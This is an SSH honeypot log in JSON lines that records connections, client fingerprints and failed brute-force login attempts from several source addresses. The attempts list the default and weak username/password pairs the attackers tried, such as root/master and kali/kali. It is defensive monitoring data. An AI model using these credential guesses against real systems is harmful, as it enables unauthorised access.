{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":38258,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d3ebcf83f35","protocol":"ssh","message":"New connection: 45.153.34.195:38258 (10.17.0.5:22) [session: 5d3ebcf83f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:58.003582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:58.186917Z","src_ip":"45.153.34.195","session":"5d3ebcf83f35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:58.190757Z","src_ip":"45.153.34.195","session":"5d3ebcf83f35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"100782","message":"login attempt [root/100782] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:58.319756Z","src_ip":"103.15.222.183","session":"dec8752ac319","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:58.626075Z","src_ip":"91.92.40.36","session":"b3d03ffc793b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"master","message":"login attempt [root/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:58.760350Z","src_ip":"45.153.34.195","session":"5d3ebcf83f35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:59.007025Z","src_ip":"117.219.14.193","session":"d989cb6186db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.219.14.193","src_port":45142,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6a9f5fbf1a5","protocol":"ssh","message":"New connection: 117.219.14.193:45142 (10.17.0.5:22) [session: a6a9f5fbf1a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:59.238682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:59.245002Z","src_ip":"117.219.14.193","session":"a6a9f5fbf1a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:59.480626Z","src_ip":"117.219.14.193","session":"a6a9f5fbf1a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:59.576242Z","src_ip":"103.15.222.183","session":"dec8752ac319","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:59.928816Z","src_ip":"45.153.34.195","session":"5d3ebcf83f35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nginx","message":"login attempt [root/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:00.187622Z","src_ip":"117.219.14.193","session":"a6a9f5fbf1a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":38272,"dst_ip":"10.17.0.5","dst_port":22,"session":"e608a37622f7","protocol":"ssh","message":"New connection: 45.153.34.195:38272 (10.17.0.5:22) [session: e608a37622f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:00.965671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:00.970724Z","src_ip":"45.153.34.195","session":"e608a37622f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:01.061166Z","src_ip":"45.153.34.195","session":"e608a37622f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:01.114585Z","src_ip":"91.92.40.36","session":"b3d03ffc793b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":40138,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0d8977df2ad","protocol":"ssh","message":"New connection: 97.74.87.152:40138 (159.203.135.109:22) [session: e0d8977df2ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:01.318726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:01.322947Z","src_ip":"97.74.87.152","session":"e0d8977df2ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:01.432748Z","src_ip":"117.219.14.193","session":"a6a9f5fbf1a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"123456","message":"login attempt [cloud/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:01.540846Z","src_ip":"45.153.34.195","session":"e608a37622f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:01.555348Z","src_ip":"97.74.87.152","session":"e0d8977df2ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.219.14.193","src_port":17001,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c569f06afac","protocol":"ssh","message":"New connection: 117.219.14.193:17001 (10.17.0.5:22) [session: 6c569f06afac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:01.661020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:01.669420Z","src_ip":"117.219.14.193","session":"6c569f06afac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":46324,"dst_ip":"10.17.0.5","dst_port":22,"session":"156326862808","protocol":"ssh","message":"New connection: 91.92.40.36:46324 (10.17.0.5:22) [session: 156326862808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:01.696095Z"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:01.901701Z","src_ip":"117.219.14.193","session":"6c569f06afac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer2026","message":"login attempt [root/qwer2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:02.515571Z","src_ip":"97.74.87.152","session":"e0d8977df2ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mysql","message":"login attempt [root/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:02.604067Z","src_ip":"117.219.14.193","session":"6c569f06afac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:02.627268Z","src_ip":"45.153.34.195","session":"e608a37622f7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:02.689397Z","src_ip":"91.92.40.36","session":"156326862808","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:02.692954Z","src_ip":"91.92.40.36","session":"156326862808","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:03.749113Z","src_ip":"97.74.87.152","session":"e0d8977df2ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:03.839532Z","src_ip":"117.219.14.193","session":"6c569f06afac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":42028,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8ca563bbdf5","protocol":"ssh","message":"New connection: 45.153.34.195:42028 (10.17.0.5:22) [session: d8ca563bbdf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:03.906442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:03.913635Z","src_ip":"45.153.34.195","session":"d8ca563bbdf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:04.014577Z","src_ip":"45.153.34.195","session":"d8ca563bbdf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.219.14.193","src_port":19581,"dst_ip":"10.17.0.5","dst_port":22,"session":"034bf45c967f","protocol":"ssh","message":"New connection: 117.219.14.193:19581 (10.17.0.5:22) [session: 034bf45c967f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:04.080224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:04.089312Z","src_ip":"117.219.14.193","session":"034bf45c967f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:04.338587Z","src_ip":"117.219.14.193","session":"034bf45c967f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123","message":"login attempt [bot/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:04.610550Z","src_ip":"45.153.34.195","session":"d8ca563bbdf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apache","message":"login attempt [root/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:05.068423Z","src_ip":"117.219.14.193","session":"034bf45c967f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"123","message":"login attempt [odoo/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:05.615836Z","src_ip":"91.92.40.36","session":"156326862808","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:05.704456Z","src_ip":"45.153.34.195","session":"d8ca563bbdf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:06.313066Z","src_ip":"117.219.14.193","session":"034bf45c967f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.219.14.193","src_port":18395,"dst_ip":"10.17.0.5","dst_port":22,"session":"b11f098c808e","protocol":"ssh","message":"New connection: 117.219.14.193:18395 (10.17.0.5:22) [session: b11f098c808e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:06.542451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:06.546768Z","src_ip":"117.219.14.193","session":"b11f098c808e","protocol":"ssh"}
